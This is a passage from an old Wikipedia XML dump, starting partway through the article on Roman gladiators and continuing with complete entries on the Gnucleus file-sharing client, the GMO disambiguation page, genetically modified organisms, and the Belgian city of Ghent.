At the end of a fight, when one gladiator acknowledged defeat by raising a finger, the audience could decide whether the loser should live or die. It is known that the audience (or sponsor or emperor) pointed their thumbs a certain way if they wanted the loser to be killed (''pollice verso'', literally &quot;with turned thumb&quot;), but it is not clear which way they pointed. The clear 'thumbs up' and 'thumbs down' image is not a product of the historical sources, but merely a product of [[Hollywood]] and [[epic film]]s such as [[Quo Vadis (1951 movie)]].It is possible that they pointed their thumbs upwards if they wanted the loser to live, and downwards if they wanted him to die; or, they may have done the opposite, pointing downwards if they wanted the gladiator to live. Another possibility is that they raised their fist but kept their thumb inside it if they wanted the loser to live, and pointed down to signify death. 

A gladiator did not have to die after every match - if the audience felt both men fought admirably, they would likely want both to live and fight for their amusement in the future - though equally a patron of the games who killed too few gladiators would be seen as stingy.  A gladiator who won several fights was allowed to retire, often to train other fighters. Gladiators who managed to win their freedom - often by request of the audience or sponsor - were given a rudis, a symbolic wooden sword, as a memento.

Recent research has come to light which suggests that gladiators were not as savage as once thought and actually adhered to a strict code of discipline and did not resort to savage violence and mutilation which could occur on the battlefields of the day. Furthermore if the order was given to kill the opponent which was very rare as gladiators were expensive, the wound may have been made so that it appeared that the gladiator had died, but in reality the gladiator would be dragged backstage and would have been executed &quot;humanely&quot; by a backstage executioner who would kill the gladiator with a hammer on the forehead.  

The attitude of Romans towards the gladiators was ambivalent: on the one hand they were considered as lower than [[Slavery|slave]]s, but on the other hand some successful gladiators rose to celebrity status. There was even a belief that nine eaten gladiator livers were a cure for epilepsy. Gladiators often developed large followings of women, who apparently saw them as sexual objects. This may be one reason that many types of gladiators fought bare-chested. It was socially unacceptable for citizen women to have sexual contact with a gladiator.  [[Faustina]], the mother of the emperor [[Commodus]], was said to have conceived Commodus with a gladiator, but Commodus likely invented this story himself. Despite or because of the prohibition many rich women sought intimate contact with gladiators. They were the ancient [[Pop star]]s and the festivity before the fights gave the women an opportunity to meet them.

Despite the extreme dangers and hardships of the profession, some gladiators were volunteers (called ''auctorati'') who fought for money; effectively this career was a sort of last chance for people who had gotten into financial troubles. 

Their oath (which [[Seneca the Younger|Seneca]] describes as particularly shameful) implied their acceptance of slave status and of the worst public consideration (''infamia''). More famous is their phrase to the emperor or sponsor before the fight: ''Nos morituri te salutamus'' (&quot;We who are about to die salute you&quot;).

Some [[Roman Emperors|emperors]], among them [[Hadrian]], [[Caligula]], [[Titus]] and Commodus also entered the arena for (presumably) fictitious or rigged combats. Emperor [[Trajan]] organized as many as 5000 gladiator fighting pairs. Gladiator contests could take months to complete.

[[Gaius Marius]] had gladiators train the [[legionaries]] in single combat.

[[Female gladiators]] also existed; The Emperor Domitian liked to stage torchlit fights between dwarfs and women, according to Suetonius in &quot;The Twelve Caesars&quot;.

One of the most famous gladiators was [[Spartacus]] who became the leader of a group of escaped gladiators and slaves. His revolt, which began in [[73 BC]], was crushed by [[Marcus Licinius Crassus]] two years later. After this, gladiators were deported from Rome and other cities during times of social disturbances, for fear that they might organize and rebel again. 

The Greek physician [[Galen]] worked for a while as a gladiator's physician in [[Pergamon]]. 

Gladiator fights were first outlawed by [[Constantine I of the Roman Empire|Constantine I]] in [[325]] but continued sporadically until about [[450]]. The last known gladiator competition in the city of [[Rome]] occurred on [[January 1]], [[404]].

==Gladiators in modern popular culture==
[[Image:2005-12-28_Berlin_Pergamon_museum_Gladiator_helmet.jpg|thumb|Gladiator helmet in the [[Pergamon Museum]], [[Berlin]].]]
===[[Sword and sandal|Epic film]]===
Naturally, gladiators feature frequently in movies and series set in this period - one might even say it was a compulsory requirement!  
These include obvious ones such as ''[[Spartacus (film)]]'', ''[[Gladiator (film)|Gladiator]]'' (2000) starring Russel Crowe and ''[[Demetrius and the Gladiators]]'' in 1954, as well as ''[[Quo Vadis (1951 film)]]'' and ''[[Rome (TV series)]]''.

===Science fiction and fantasy===
Gladiators are sometimes mentioned in [[science fiction]], being depicted in the film ''[[The Running Man]]''; as well as the games ''[[Battletech]]'', ''[[Quake computer game|Quake]]'', and ''[[Unreal]]''. The Unreal Tournament series is especially notable as a futuristic gun slinging take on gladiators.  Colosseum: Road to Freedom is a role-playing game where you take the role of a gladiator and fight in battles mimicking historical ones to gain your freedom.

===Reality entertainment===
For obvious [[human rights]] and [[liability]] reasons, it has been impossible to revive gladiator fights in the Ancient Roman sense (where the fight concludes with serious bodily injury or death). However, the controversial [[Bumfights]] videos have been described by some people as 'gladiator fights for the homeless'.

In the U.S. during the 1990s, there was a game show called ''[[American Gladiators]]'', and around the same time, [[World Wrestling Entertainment]] popularized a rather wild style of wrestling which some compared to gladiator combat.  However, the competitors on ''American Gladiators'' never directly attacked each other but did face the established stadium gladiators, and the WWE fights are openly acknowledged to be staged performances, as opposed to actual competition. 

In [[California]], [[California State Prison, Corcoran|Corcoran State Prison]] became infamous in 1997 when it was discovered that the guards were staging informal &quot;gladiator&quot; fights with the prisoners (some of which were videotaped).  Such fights differ from true gladiator fights in that they were not state-sponsored or approved.

Gladiatorial imagery is also associated with the [[Ultimate Fighting Championship]], whose opening credits in their broadcasts feature a gladiator preparing for battle.

== References ==
#{{note label|1728|1|^}}{{1728}}
#Thomas Wiedemann: ''Emperors and Gladiators'', Routledge 1992 
#James Grout: [http://penelope.uchicago.edu/~grout/encyclopaedia_romana/gladiators/gladiators.html ''Gladiators'', part of the Encyclopædia Romana]
#[http://janusquirinus.org/essays/Arena.html Violence and the Romans: The Arena Spectacles]
#[http://nefer-seba.net/essays/Spartacus/ The Revolt of Spartacus] A narrative essay.
#Daniel P Mannix: &quot;Those About To Die&quot;, Ballantine Books, New York 1958
#Michael Grant: &quot;Gladiators&quot;, Penguin Books, London 1967, reprinted 2000, ISBN 0140299343

[[Category:Ancient Rome]]
[[Category:Defunct occupations]]
[[Category:Sports occupations]]
[[Category:Roman slaves and freedmen]]
[[Category:Gladiatorial combat]]

[[bg:Гладиатор]]
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{{Link FA|de}}
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[[fi:Gladiaattori]]
[[fr:Gladiateur]]
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[[he:גלדיאטור]]
[[la:Gladiator]]
[[nl:Gladiator]]
[[ja:剣闘士]]
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[[zh:角斗士]]</text>
    </revision>
  </page>
  <page>
    <title>Gnucleus</title>
    <id>12337</id>
    <revision>
      <id>33581158</id>
      <timestamp>2006-01-02T09:37:44Z</timestamp>
      <contributor>
        <username>FrYGuY</username>
        <id>48013</id>
      </contributor>
      <comment>Cleaning the article up</comment>
      <text xml:space="preserve">{{Infobox_Software |
  name = Gnucleus |
  screenshot = [[image:Gnucleus_-_Downloads_Screenshot.jpg|250px]] |
  caption = A screenshot of Gnucleus with its downloads window open |
  developer = John Marshall |
  latest_release_version = 2.2.0.0 |
  latest_release_date = [[June 17]]?, [[2005]] |
  operating_system = [[Microsoft Windows]] |
  genre = [[peer to peer]] |
  license = [[GNU General Public License|GPL]] |
  website = [http://www.gnucleus.com/Gnucleus/ gnucleus.com/Gnucleus/] |
}}
'''Gnucleus''' is a popular [[Gnutella]] and [[Gnutella2]] [[servent]] for [[Microsoft Windows|Windows]], released under the [[GNU General Public License|GPL]] license. 

The primary goals of the project are security and stability. The client is designed to be easy to use without reducing the number of options available. Gnucleus implements a number of features including ultrapeers (high capacity Gnutella nodes which aggregate [[child node]]s to prevent low capacity nodes from creating network bottlenecks), multisource swarming downloads, partial-file sharing, [[SHA1]] file hashing, [[Hash tree|Tiger tree hashing]], [[proxy server]] support, as well as support for the [[Gnutella2]] network.

The network core, now dubbed [[GnucDNA]], has been separated from the main program and is being used by many other applications such as [[Morpheus (computer program)|Morpheus]].

==See also==
*[[Peer-to-peer]] - p2p protocols and clients

==Related Websites==
* [http://www.gnucleus.com/Gnucleus/ Gnucleus Homepage]
* [http://gnucleus.sourceforge.net Sourceforge Project Page for Gnucleus]
[[Category:File sharing programs]]
[[Category:Windows software]]

[[hu:Gnucleus]]</text>
    </revision>
  </page>
  <page>
    <title>GMO</title>
    <id>12338</id>
    <revision>
      <id>40369478</id>
      <timestamp>2006-02-20T02:39:56Z</timestamp>
      <contributor>
        <username>Ceyockey</username>
        <id>150564</id>
      </contributor>
      <minor />
      <comment>edited for style</comment>
      <text xml:space="preserve">'''GMO''' is an abbreviation with several meanings:

* [[Genetically modified organism]], an organism the genetic material of which has been altered using recombinant DNA technology
* [[Gulf, Mobile and Ohio Railroad]] (AAR reporting mark &quot;GMO&quot;), an American railroad carrier

{{TLAdisambig}}

[[ja:GMO]]</text>
    </revision>
  </page>
  <page>
    <title>Genetically modified organism</title>
    <id>12339</id>
    <revision>
      <id>42098383</id>
      <timestamp>2006-03-03T20:42:30Z</timestamp>
      <contributor>
        <username>Bidabadi</username>
        <id>726723</id>
      </contributor>
      <comment>interwiki fa</comment>
      <text xml:space="preserve">[[Image:Glowing tobacco plant.jpg|thumb|right|A tobacco plant which has been genetically engineered to express a gene taken from fireflies.]]

A '''genetically modified organism''' (GMO) is an [[organism]] whose [[gene]]tic material has been [[genetic engineering|altered]] using techniques in [[genetics]] generally known as [[recombinant DNA technology]]. Recombinant DNA technology is the ability to combine [[DNA]] [[molecule]]s from different sources into the one molecule in a [[test tube]]. Thus, the abilities or the [[phenotype]] of the organism, or the [[protein]]s it produces, can be modified through the modification of its' genes.

The term generally does not cover organisms whose genetic makeup have been altered by conventional [[cross breeding]] or by &quot;mutagenesis&quot; breeding as these methods predate the discovery of the recombinant DNA techniques.  

Examples of GMOs are diverse, and include  transgenic experimental [[animal]]s such as [[mus musculus|mice]], transgenic [[plant]]s, or various [[Microorganism|microscopic organism]]s altered for the purposes of genetic research or for the production of [[pharmaceutical]]s.

The term &quot;genetically modified organism&quot; does not necessarily imply, but does include, transgenic substitution of genes from another [[species]], although [[research]] is actively being conducted in this field. For example, genes for [[fluorescence|fluorescent]] proteins can be co-expressed with complex proteins in cultured cells to facilitate study by [[biologist]]s, and modified organisms are used in researching the mechanisms of [[cancer]] and other [[diseases]].

==History==
The first GMO was created in 1973 by [[Stanley N. Cohen]] and [[Herbert Boyer]] [http://home.hawaii.rr.com/johns/history.htm#BM1973]. In mid-1974, very soon after the first GMO was created, scientists called for and observed a voluntary moratorium on certain recombinant DNA [[scientific experiment|experiment]]s. One goal of the moratorium was to provide time for a conference that would evaluate the state of the new technology and the risks, if any, associated with it. That conference concluded that recombinant DNA research should proceed but under strict guidelines. Such guidelines were subsequently promulgated by the [[National Institutes of Health]] in the [[United States]] and by comparable bodies in other countries. These guidelines form the basis upon which GMOs are regulated to this day. [http://nobelprize.org/chemistry/articles/berg/]

The first transgenic animals were mice created by [[Rudolf Jaenisch]] in 1974. Jaenish successfully managed to insert foreign DNA into the early-stage [[mouse]] [[embryos]]; the resulting mice carried the modified gene in all their [[biological tissue|tissues]]. Subsequent experiments, injecting [[leukemia]] genes to early mouse embryos using a [[retrovirus]] vector, proved the genes integrated not only to the mice themselves, but also to their progeny.

==Methods of genetic modification==
[[Image:ADN animation.gif|thumb|right|250px|The double-helix structure of DNA allows modification of plasmids to take place.]]

Genetic modification involves [[genetic engineering]], also known as ''gene splicing'', a technique to splice together DNA fragments from more than one organism and thus preparing a &quot;recombinant&quot; DNA molecule in a test tube, producing a single piece of genetic material containing the original information from multiple fragments which can then be inserted into another organism. This is achieved by cutting up DNA molecules with [[restriction enzymes]] and splicing these fragments together using [[DNA ligase]]. A ''transgenic''  organism that contains such DNA sequences from a foreign organism integrated into its own genome, the term &quot;transgenic&quot; literally means ''across gene''. An example of a transgenic organism is an animal that is not a jelly fish that expresses the green [[fluorescence]] protein, such as [[mice]] or [[fish]]. The gene coding for the protein originated from jelly fish.

With current technology, transgenic organisms can be produced with only a very small proportion of extraneous DNA.  For example, the [[genome]] of most mammals contains three billion basepairs of DNA, while it becomes relatively difficult to insert more than 10,000 to 20,000 basepairs of foreign DNA.  More sophisticated techniques using [[yeast artificial chromosome|yeast artificial chromosomes]] and [[bacterial artificial chromosome|bacterial artificial chromosomes]] allow insertions of up to 320,000 basepairs [http://www.ncbi.nlm.nih.gov/entrez/query.fcgi?cmd=Retrieve&amp;db=pubmed&amp;dopt=Abstract&amp;list_uids=11884478&amp;query_hl=1&amp;itool=pubmed_DocSum] - approximately 0.01% of the total genome.  In concept, multiple rounds of transgenesis or interbreeding of transgenics could lead to organisms with a higher proportion of foreign DNA, but cost and time considerations prevent this.

In order to introduce new DNA into the receiving host, ''vectors'' are used. Vectors range from small circular pieces of DNA such as [[plasmids]], to various [[virus]]es that can carry and transmit genetic information. Three processes are known by which the genetic composition of [[bacterium|bacteria]] can be altered. 

[[Transformation (genetics)|Transformation]] is a process by which some bacteria are naturally capable of taking up [[DNA]] to acquire new genetic traits. This phenomenon was discovered by [[Frederick Griffith]] in [[1928]], although the fact that it was specifically DNA molecules that carried the genetic information was not proven until [[1944]]. Bacteria that are competent to undergo transformation are frequently used in [[molecular biology]]. The foreign DNA uptake is facilitated by the presence of certain [[ion|cations]], such as  [[calcium|Ca]]&lt;sup&gt;2+&lt;/sup&gt;, or by the use of electric current ([[electroporation]]). Transformation does not normally integrate new DNA into the bacterial [[chromosome]]. Instead, it remains on a [[plasmid]]. 

In conjugation, DNA is transferred from one bacterium to another via a temporary connecting tube of protein called a ''pilus'' (a process analogous to but biologically distinct from mating). Conjugation is not widely used for the artificial genetic modification of bacteria.

[[Transduction (genetics)|Transduction]] refers to the introduction of new DNA into a bacterial cell by a [[bacteriophage]], a [[virus]] that infects bacteria.

Often in order to gain knowledge about a particular gene's function, ''knock out'' organisms are organisms used by researchers. These organisms have a specific gene has been functionally destroyed or &quot;knocked out.&quot; They are used extensively in disease research with model organisms. For example, when investigating the cause of cystic fibrosis, researchers identified the [[CFTR (gene)|CFTR gene]] as a very likely candidate for the disease, found the mouse equivalent, bred a mouse with this gene &quot;knocked out&quot;, and noted that the knockout mouse also had cystic fibrosis.

==Genetic modification of plants==
{{main|Transgenic plants}}
The principal technique for the genetic modification of [[plant]]s is based on a natural ability of the bacterium ''[[Agrobacterium tumefaciens]]''. This bacterium infects plants and causes a tumor-like growth termed a [[crown gall]]. ''A. tumefaciens'' contains a [[plasmid]] (a circular piece of [[DNA]]) that transfers from the bacteria into the infected plant and integrates into the plant's [[genome]]. The transferred genes cause the plant to form the gall, which houses the bacteria and produces nutrients that support the bacteria's growth. A number of scientists contributed to this discovery throughout the late [[1960s]] and the [[1970s]], with key discoveries by [[Jeff Schell]], [[Marc Van Montagu]], [[Georges Morel]], [[Mary-Dell Chilton]] and [[Jacques Tempé]]. By [[1983]] [[biotechnology]] had reached the point where it was possible to insert additional genes of interest into ''A. tumefaciens'' and thus transfer those genes into plants.  This process is commonly used to create [[transgenic plants|transgenic crop plants]] for agricultural purposes.
Another widely used process to create transgenic crops is biolistic method ([[gene gun]]). Biolistic method was also used for the creation of two most common transgenic crops - RoundUp ready soybean and [[Transgenic maize|Bt-corn]].
Biolistic techniques are generally more suited to [[monocots]], whereas agrobacteria are used primarily with [[dicots]]. However, newer techniques and strains of ''A. tumefaciens''  have also found utility in the transformation of monocots.

==Genetic modification of animals==
Like bacteria and plants, animals can be genetically modified by viral infection. However, the genetic modification occurs only in those cells that become infected, and in most cases these cells are eventually eliminated by the [[immune system]]. In some cases it is possible to use the gene-transferring ability of viruses for [[gene therapy]], i.e. to correct diseases caused by a defective gene by supplying a normal copy of the gene. Permanent genetic modification of entire animals can be accomplished in [[mouse|mice]]. The process begins by first genetically modifying a mouse [[embryonic stem cell]]. This is normally done by physically introducing into the cell a plasmid that can integrate into the genome by a process known as transfection [http://www.yotor.com/wiki/en/tr/Transfection.htm]. During transfection the DNA integrates into the animal genome via non-homologous recombination. This altered cell is implanted into a [[blastocyst]] (an early embryo), which is then implanted into the uterus of a [[female]] mouse. A pup born from this blastocyst will be a [[Chimera (genetics)|chimera]] containing some cells derived from the unmodified cells of the blastocyst and some derived from the modified stem cell. By selecting mice whose germ cells (sperm- or egg-producing cells) developed from the modified cell and interbreeding them, pups that contain the genetic modification in all of their cells will be born.

There has also been the genetically manipulated bull Herman with 55 offspring. A human gene was built into his genetic code while in an early embryonic stage in 1990. As a result, milk from his female descendants contained the human protein lactoferrine, that can be used as medicine,  but it was present at such low levels that it was not profitable to extract them.  

[[Insect]]s can be genetically modified by injecting them with artificial [[transposon]]s and a source of the enzyme [[transposase]]. The transposon, which can include new genes, is then integrated into the genome. Such insertions are unstable and can 'jump-out' in the presence of transposase.

==Controversies over genetic modification==
''See also [[Genetically modified food]] and [[Transgenic plants]]''

Genetic modification (GM) is the subject of controversy in its own right [http://www.csa.com/hottopics/gmfood/overview.php].  Some see the science itself as intolerable meddling with &quot;natural&quot; order, despite known examples of natural genetic crossings occurring throughout history. While some would like to see it banned, others push simply for required labeling of [[genetically modified food]].  Other controversies include the definition of patent and property pertaining to products of genetic engineering and the possibility of unforeseen global side effects as a result of modified organisms proliferating. The basic ethical issues involved in genetic research are discussed in the article on [[genetic engineering]].

In 2004, [[Mendocino County, California]] became the first county in the [[United States]] to ban the production of GMOs. The measure passed with a 57% majority.  In 2005, a [[standing committee]] of the government of [[Prince Edward Island]] in [[Canada]] began work to assess a proposal to ban the production of GMOs in the province. This is a largely symbolic and empty gesture as PEI has already banned GMO potatoes, which account for most of its crop. The Californian counties of Trinity and Marin counties have also imposed bans on GM crops, while ordinances to do so were unsuccessful in Butte, San Luis Obispo, Humboldt and Sonoma counties. Supervisors in the ag-rich counties of Fresno, Kern, Kings, Solano, Sutter and Tulare have passed resolutions supporting the practice [http://www.santacruzsentinel.com/archive/2005/June/15/local/stories/07local.htm].

Currently, there is little international consensus regarding the acceptability and effective role of modified &quot;complete&quot; organisms such as plants or animals. A great deal of the modern research that is illuminating complex biochemical processes and disease mechanisms makes vast use of genetic engineering.

The practice of genetic modification as a scientific technique is not restricted in the United States. Individual genetically modified crops (such as soybeans) are subject to intense study before being brought to market and are common in the United States, but estimates of their market saturation vary widely. Some countries in [[Europe]] have taken the opposite position, stating that genetic modification has not been proven safe, and therefore that they will not accept [[genetically modified food]] from the United States or any other country. This issue has been brought before the [[World Trade Organization]], which determined that not allowing modified food into the country creates an unnecessary obstacle to international trade. Consequently, genetic modification within [[agriculture]] is an issue of some strong debate in the United States, the [[European Union]], and some other countries.

Some critics have raised the concern that conventionally bred crop plants can be cross-pollinated (bred) from the pollen of modified plants. Pollen can be dispersed over large areas by wind, animals, and insects. Recent research has lent support to the concern when modified genes were found in normal plants up to 21 km (13 miles) away from the source, and also within close relatives of the original plants. &lt;!--source???--&gt; GM proponents point out that outcrossing, as this process is known as, is not new. The same thing happens with any new crop variety - newly introduced traits can potentially cross out into neighbouring crop plants of the same species and to closely related wild relatives of crop plants. Defenders of GM technology point out that each GM crop is assessed on a case by case basis to determine if there is any risk associated with the out crossing of the GM trait into wild plant populations. The fact that a GM plant may outcross with a related wild relative is not, in itself, a risk unless such an occurrence has consequences. If, for example, a herbicide resistance trait was to cross into a wild relative of a crop plant it can be predicted that this would not have any concequences except in areas where herbicides are sprayed - eg a farm. In such a setting the farmer can manage this risk by rotating herbicides. If patented genes are outcrossed, even accidentally, to other commercial fields and a person deliberately selects the outcrossed plants for subsquent planting then the patent holder has the right to control the use of those crops. This was supported in [[Canadian law]] in the case of Monsanto vs. Percy Schmeiser [[Monsanto Canada Inc. v. Schmeiser#Aftermath]] .

There was much furvor generated when [[Monsanto]] submitted a patent for a hypothetical Technology Protection technology (dubbed  [[Terminator Technology|terminator]] by NGOs) to produce first generation crops that would not generate seeds in the second generation because the plants yielded sterile [[seed]]s.  The so-called &quot;terminator&quot; gene technology was developed by Delta and Pine Land and the USDA, who co-owned the patent.  In addition to the commercial protection of proprietary technology (a generally contentious issue) another purpose of the terminator gene is to prevent the escape of genetically modified traits into wild-type species by sterilizing any resultant hybrids.  The terminator gene technology created a backlash amongst those who felt the technology would prevent re-use of seed by farmers growing such terminator varieties in the developing world and was ostensibly a means to protect [[intellectual property]] rights.  Use of the terminator technology would also prevent &quot;volunteers&quot;, or crops that grow from unharvested seed, a major concern that arose during the [[Transgenic maize|Starlink]] debacle.

==Transgenics featured in fiction==
Genetically modified characters, whether as heroes, villains, or backdrop, feature prominently in many works of fiction, in particular [[science fiction]] and [[cyberpunk]], where it is used as a [[plot device]] to explain differences in a character or setting, such as explaining increased longevity or eradication of disease in a fictional civilization..

{{no references}}

[[Category:Genetically modified organisms| ]]
[[Category:Biotechnology]]
[[Category:Molecular biology]]

{{Link FA|fr}}

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[[sv:GMO]]
[[vi:GMO]]</text>
    </revision>
  </page>
  <page>
    <title>Ghent</title>
    <id>12341</id>
    <revision>
      <id>42051403</id>
      <timestamp>2006-03-03T13:38:26Z</timestamp>
      <contributor>
        <username>Everyking</username>
        <id>44020</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/208.39.151.150|208.39.151.150]] ([[User talk:208.39.151.150|talk]]) to last version by Donarreiskoffer</comment>
      <text xml:space="preserve">:''This page is about the Belgian city.  For other places called Ghent, see [[Ghent (disambiguation)]].''

{| border=&quot;0&quot; cellpadding=&quot;2&quot; cellspacing=&quot;1&quot;  bgcolor=&quot;#666666&quot; align=&quot;right&quot;
! colspan=&quot;2&quot; bgcolor=&quot;#FFDEAD&quot; | Ghent
|----- bgcolor=&quot;#FFFFFF&quot;
| [[Province]]: 
| [[East Flanders]]
|----- bgcolor=&quot;#FFFFFF&quot;
| District: 
| Ghent
|----- bgcolor=&quot;#FFFFFF&quot;
| [[Area]]: 
| 156.18 km&amp;sup2;
|----- bgcolor=&quot;#FFFFFF&quot;
| [[Population]]: 
| 230.951 ''&lt;small&gt;(2005)&lt;/small&gt;''
|----- bgcolor=&quot;#FFFFFF&quot;
| [[Population density]]: 
| 1478.74 /km&amp;sup2;
|-----
! colspan=&quot;2&quot; bgcolor=&quot;#FFFFFF&quot; | [[Image:GentLocatie.png]]
|}
'''Ghent''' (''Gent'' in [[Dutch language|Dutch]], ''Gand'' in [[French language|French]], formerly ''Gaunt'' in [[English language|English]]) is a [[city]] located in [[Flemish region|Flanders]], [[Belgium]]. It is the capital and biggest city of the [[East Flanders]] Province. The city started as a settlement at the confluence of the Rivers [[Scheldt]] and [[Lys River|Lys]] and became in the [[Middle Ages]] one of the largest and richest cities of northern Europe. Today it is a busy city with a large harbour and University. The city is connected to the sea by the [[Ghent-Terneuzen Canal]], it lies at the intersection of the [[European routes|European highways]] [[European route E17|E17]] and [[European route E40|E40]] and it has one of the busiest railway stations in Belgium.

The municipality comprises the city of Ghent proper and the towns of [[Afsnee]], [[Desteldonk]], [[Drongen]], [[Gentbrugge]], [[Ledeberg]], [[Mariakerke]], [[Mendonk]], [[Oostakker]], [[Sint-Amandsberg]], [[Sint-Denijs-Westrem]], [[Sint-Kruis-Winkel]], [[Wondelgem]] and [[Zwijnaarde]]. With around 230 000 inhabitants Ghent is Belgium's second largest municipality and the country's [[List of Belgian municipalities by population | third largest]] conurbation. The current major, [[Frank Beke]], leads a coalition of the [[SP.a]] and [[VLD]].

==History==
[[Image:04-08-15_Gent_01.jpg|thumb|left|250px|Graslei and Korenlei]]
[[Image:Ghent, Ferraris Map, 1775.jpg|thumb|right|Ghent in 1775]]
Archeologic evidence shows human presence in the region of the confluence of Scheldt and Lys going back as far as the Stone Age and the Iron Age&lt;ref name=&quot;gent.be-history&quot;&gt;[http://www.gent.be/gent/english/history/gesch01.htm History of Ghent on www.gent.be]&lt;/ref&gt;. Most historians believe that the older name for Ghent, 'Ganda' is derived from the Celtic word 'ganda' which means [[Confluence (geography)|confluence]]&lt;ref name=&quot;gent.be-history&quot;/&gt;. There are no written records of the Roman period but archeological research confirms that the region of Ghent was further inhabited.

When the [[Franks]] invaded the Roman territories (from the end of the 4th century and well into the 5th century) they brought their language with them and Celtic and Latin were replaced by (ancient) [[Dutch language|Dutch]]. 

Around 650 [[Saint Amand]] founded two [[abbey]]s in Ghent the [[Saint Peter Abbeye]] and the [[Saint Bavo Abbeye]]. The city grew from several nuclei, the abbeys and a commercial centre. Around 800 [[Louis the Pious]], son of [[Charlemagne]], appointed [[Einhard]], the biographer of Charlemagne, as abbot of both abbeys. In 851 and 879 the city was however attacked and plundered twice by the vikings.

[[Image:BelfortGent.JPG|thumb|250px|left|[[Belfry (architecture)|Belfry]] of Ghent. Behind it the Saint Nicholas church is visible.]]
The city recovered and flourished from the 11th century on. Until the 13th century Ghent was the biggest city in Europe after Paris; it was bigger than [[London]], [[Cologne]] or [[Moscow]]. Within the city walls lived up to 65.000 people. Today, the center of the city still has several large towers, the [[belfry (architecture)|belfry]] and the towers of the Cathedral and Sint-Niklaas Church are just a few examples of what could be called the 'Manhattan of the Middle Ages'.

The rivers flowed in an area where a lot of land was periodically inundated. These richly grassed 'meersen' (&quot;water-meadows&quot;: a word related to the English 'marsh', but not meaning exactly the same, a 'meers' is not permanently under water) were ideally suited for herding sheep, the wool of which was used for making cloth. In fact, Ghent was during the middle ages the most important city for cloth.

The wool-industry, originally established at [[Bruges]], created the first European industrialized zone in Ghent in the High Middle Ages. The mercantile zone was so highly-developed that wool had to be imported from England. This was one of the reasons for Flanders' good relationship with England. Ghent was the birthplace of [[John of Gaunt]], [[Duke of Lancaster]]. The trade with England suffered a lot in the hundred years war and in the 15th century other cities like [[Antwerp]] took over in economic prosperity. 

In 1500 [[Juana of Castile]] gave birth to [[Charles V, Holy Roman Emperor|Charles V]], who became [[Holy Roman Emperor]] and [[King of Spain]]. Although native to Ghent, he punished the city's rebellion severely in 1540 and obliged them to walk in front of the emperor barefoot with a noose (Dutch: ''strop'') around the neck. Since this incident the people of Ghent are called ''&quot;Stroppendragers&quot;'' (noose bearers).

The late 16th and the 17th century brought a lot of troubles because of the [[Religious wars]]. At one time Ghent was a calvinistic city, but eventually the Spanish army reinstated catholicism. 

In the 18th and 19th century Ghent the textile industry flourished again in Ghent. [[Lieven Bauwens]] introduced the first mechanical weaving machine on the European continent, of which he smuggled the plans out of England.

Ghent was also the site of the signing of the [[Treaty of Ghent]] which formally ended the [[War of 1812]] between [[United Kingdom|Britain]] and the [[United States|United States of America]]. After the [[battle of Waterloo]] Ghent  made part of the [[United Kingdom of the Netherlands]] for 15 years. In this period Ghent got its own [[Ghent University|university]] (1817) and a [[Ghent-Terneuzen Canal|new connection to the sea]] (1824–27). 

After the [[Belgian Revolution]], the first Belgian trade-union originated in Ghent. In 1913 there was a [[World exhibition]] in Ghent. As a preparation for these festivities the [[Sint-Pieters railway station]], was completed in 1912.

==Tourism==
[[Image:GravensteenCastle01.jpg|thumb|right|250px|Gravensteen Castle of Ghent]]

===Architecture===
Much of the city's [[medieval]] [[architecture]] remains intact and is remarkably well preserved and restored. Its center is the largest [[Auto-free zone|carfree area]] in Belgium. Interesting highlights are the [[Saint Bavo Cathedral]] with the [[Ghent Altarpiece]], the [[belfry (architecture)|belfry]], the [[Gravensteen]] [[castle]], and the splendid architecture along the old Graslei harbour. Ghent established a nice blend between comfort of living and history - it is not a city-museum. The city of Ghent houses also three [[béguinage]]s and numerous churches, among which the Saint-Jacobs church and the Saint-Nicolas Church are the most beautiful examples. There is an opera house and a few theatres. Highlights of modern architecture are the University buildings (the &quot;[[Boekentoren]]&quot; or Book Tower) by [[Henry Van de Velde]].

===Restaurants===
As most [[Belgian]] cities, [[Ghent]] offers a rich variety of local and foreign cuisine. Especially the quarter called &quot;Patershol&quot; has a concentration of restaurants. The &quot;Sleepstraat&quot; a little bit further north houses a bunch of Turkish restos and food bars.

===Festivities===
The city is host to some big cultural events such as the [[Gentse Feesten]], [[I Love Techno]], [[Flanders International Film Festival Ghent]] and [[Festival van Vlaanderen]]. In weekends, the city offers night bus services free of charge.

===Museums===
Important museums in Ghent are the [[Museum voor Schone Kunsten]] (Museum of Fine Arts), with paintings by [[Hieronymus Bosch]], [[Jean Fouquet]], and many Flemish masters; the [[SMAK]] or Stedelijk Museum voor Actuele Kunst (City Museum for Contemporary Art), with works of the 20th century, including [[Joseph Beuys]] and [[Panamarenko]]; and the [[Designmuseum]]. The Huis van Alijn (House of the Alijn family) was originally a [[beguinage]] and is now a museum for folk art. This museum often presents theatre and puppet shows for children. There is also a museum presenting the industrial strength of Ghent, the Museum voor Industriële Archeologie en Textiel or [[MIAT]]. Here you can find recreations of workshops and stores from the 1800s and can see the spinning and weaving machines that remain in this building what was once a weaving mill.

==Economy==
The [[port of Ghent]], in the north of the city, is the third largest [[port]] of Belgium. It is accessed by the [[Ghent-Terneuzen Canal]], which ends near the [[Netherlands|Dutch]] [[port]] of [[Terneuzen]] on the [[Western Scheldt]]. The port houses, among others, big companies like [[Arcelor|Sidmar]], [[Volvo Cars]], [[Volvo Trucks]], [[Volvo Parts]], [[Honda]], [[Stora Enso]].

The [[Ghent University]] and a number of reasearch oriented companies are situated in the centre and southern part.

As the biggest city of East-Flanders, Ghent has many hospitals, schools and shopping streets.

More and more tourism becomes a major segment of employment.

==Famous people==
[[Image:JacobVAGent.jpg|thumb|220px|Statue of [[Jacob van Artevelde]] on the Friday market in Ghent]]
Famous people that were born or lived in Ghent include
*[[Leo Baekeland]]
*[[Lieven Bauwens]]
*[[Charles V, Holy Roman Emperor]]
*[[Johan Daisne]]
*[[Einhard]]
*[[John of Gaunt]]
*[[Jan Hoet]]
*[[Jodocus Hondius]]
*[[Victor Horta]]
*[[Maurice Maeterlinck]]
*[[Richard Minne]]
*[[Gerard Mortier]]
*[[Jacques Rogge]]
*[[Joseph Plateau]]
*[[Marc Sleen]]
*[[Piet Van Eeckhout]]
*[[Jacob van Artevelde]]
*[[Frits van den Berghe]]
*[[Hugo van der Goes]]

==See also== 
*[[List of Mayors of Ghent]]
*[[Ghent University]]
*[[K.A.A. Gent]]

==External links==
{{commons|Ghent}}
* [http://www.gent.be Official website] - Information available in [[Dutch language|Dutch]], [[English language|English]], [[French language|French]] and [[German language|German]]
